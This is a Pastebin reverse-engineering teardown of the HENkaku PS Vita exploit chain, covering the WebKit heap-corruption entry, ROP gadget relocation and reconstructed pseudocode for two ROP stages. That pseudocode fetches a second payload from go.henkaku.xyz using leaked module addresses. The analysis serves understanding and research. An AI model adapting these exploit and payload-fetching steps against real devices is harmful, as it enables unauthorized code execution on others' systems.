Advertisement
Guest User

HENkaku exploit teardown - Part 1

a guest
Aug 3rd, 2016
4,782
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.38 KB | None | 0 0
  1. - Stage 1 (browser exploit):
  2. Visiting http://henkaku.xyz and pressing the "Install" button results in a server side useragent check.
  3. If the browser's useragent matches the one of a PS Vita/PSTV on the latest firmware version (3.60), the user is redirected to http://go.henkaku.xyz and an exploit is deployed.
  4. This exploit re-uses elements from the older public exploits (heap spraying method, sort() bug, scrollLeft attribute manipulation) and pairs them with a new heap corruption technique.
  5. Team molecule renamed variables and methods to provide a simple obfuscation layer on the HTML code.
  6.  
  7. You can find the partially reversed code (focusing on the most crucial portions) here: http://pastebin.com/bYA4xGaQ
  8.  
  9. Similarly to older exploits, this allows to corrupt an object's vtable and achieve ROP inside the SceWebkit module.
  10. Offsets for libraries and relevant ROP gadgets are fetched from a javascript file (http://go.henkaku.xyz/payload.js) during the last stage of the exploit.
  11. Team molecule implemented a dynamic method to relocate gadgets and functions' offsets for each module after their base addresses' are found (by looking at SceWebkit's import stubs).
  12.  
  13. - Stage 2 (ROP payload 1):
  14. At this stage, the browser exploit has layed out the memory space to start the first ROP payload which is reconstructed from the payload.js file.
  15. The payload.js file contains two arrays, one containing the payload's binary data and another containing the relocation type for each word.
  16. By crossing this information the exploit reads the payload and relocates all code offsets to their target module's address space by adding the module's base address to them:
  17. Relocation type 0 -> Plain data stored inside the ROP space itself. No relocation needed.
  18. Relocation type 1 -> Offset inside the ROP payload's stack.
  19. Relocation type 2 -> Offset inside the SceWebkit module.
  20. Relocation type 3 -> Offset inside the SceLibKernel module.
  21. Relocation type 4 -> Offset inside the SceLibc module.
  22. Relocation type 5 -> Offset inside the SceLibHttp module.
  23. Relocation type 6 -> Offset inside the SceNet(?) module.
  24. Relocation type 7 -> Offset inside the SceDriverUser(?) module.
  25.  
  26. The reconstructed payload can be find here: https://www.sendspace.com/file/mwpeut
  27. And an analysis of the payload's binary data can be found here: http://pastebin.com/gxc0cX1i
  28.  
  29. This payload is responsible for taking care of a few things like:
  30. // Do stuff
  31. ...
  32.  
  33. // Create a new thread for the second payload
  34. int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);
  35.  
  36. // Do stuff
  37. ...
  38.  
  39. // Construct the arguments for fetching the second payload
  40. strcpy(stack_base + 0x000000BC, "http://go.henkaku.xyz/x");
  41. snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base);
  42. strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
  43. snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base);
  44. strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
  45. snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base);
  46. strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
  47.  
  48. // Do stuff
  49. ...
  50.  
  51. // Send HTTP requests to fetch the second payload
  52. SceLibHttp_92fd(0x00010000);
  53. int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001);
  54. SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000);
  55. int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC);
  56. SceLibHttp_9935(http_req, 0x00000000, 0x00000000);
  57. SceLibHttp_9983(http_req);
  58.  
  59. // Do stuff
  60. ...
  61.  
  62. After the first payload is done, an HTTP request is sent to the server using the following template:
  63. http://go.henkaku.xyz/x?a1=stack_base&a2=webkit_base&a3=libkernel_base&a4=libc_base&&a5=libhttp_base&a6=net_base&a7=driveruser_base&
  64.  
  65. Example:
  66. http://go.henkaku.xyz/x?a1=89f02000&a2=81b009a0&a3=e000dd00&a4=811c0cc0&&a5=e0607c80&a6=e01302b0&a7=e0047bf0&
  67.  
  68. The "x" script on the server side collects the base addresses for each module and generates a second payload to be run on the Vita.
  69.  
  70. - Stage 3 (ROP payload 2):
  71. The second payload is composed by another ROP chain and obfuscated ARM code.
  72. A preliminary analysis of this payload reveals a few interesting things:
  73. strcpy(stack_base + 0x000086B4, "sdstor0:");
  74. strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");
  75.  
  76. // Do stuff
  77. ...
  78.  
  79. strcpy(stack_base + 0x000086E4, "molecule0:");
  80.  
  81. SceLibKernel_a4ad("molecule0:");
  82. SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);
  83.  
  84. // Do stuff
  85. ...
  86.  
  87. int thread1_id = sceKernelCreateThread("pln", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000);
  88.  
  89. SceLibKernel_a791(thread1_id, 0x7C);
  90.  
  91. // Do stuff
  92. ...
  93.  
  94. int thread2_id = sceKernelCreateThread("mhm", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
  95.  
  96. // Do stuff
  97. ...
  98.  
  99. SceNet_27E1("x", 0x00000002, 0x00000001);
  100. SceNet_27E1("x", 0x00000002, 0x00000001);
  101. SceNet_27E1("x", 0x00000002, 0x00000001);
  102. SceNet_27E1("x", 0x00000002, 0x00000001);
  103. SceNet_27E1("x", 0x00000002, 0x00000001);
  104.  
  105. // Do stuff
  106. ...
  107.  
  108. SceNet_27E1("sss", 0x00000002, 0x00000001);
  109. SceNet_27E1("tst", 0x00000002, 0x00000007);
  110. SceNet_27E1("tmp", 0x00000002, 0x00000001);
  111.  
  112. // Do stuff
  113. ...
  114.  
  115.  
  116. To be continued...
  117. ~ H.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement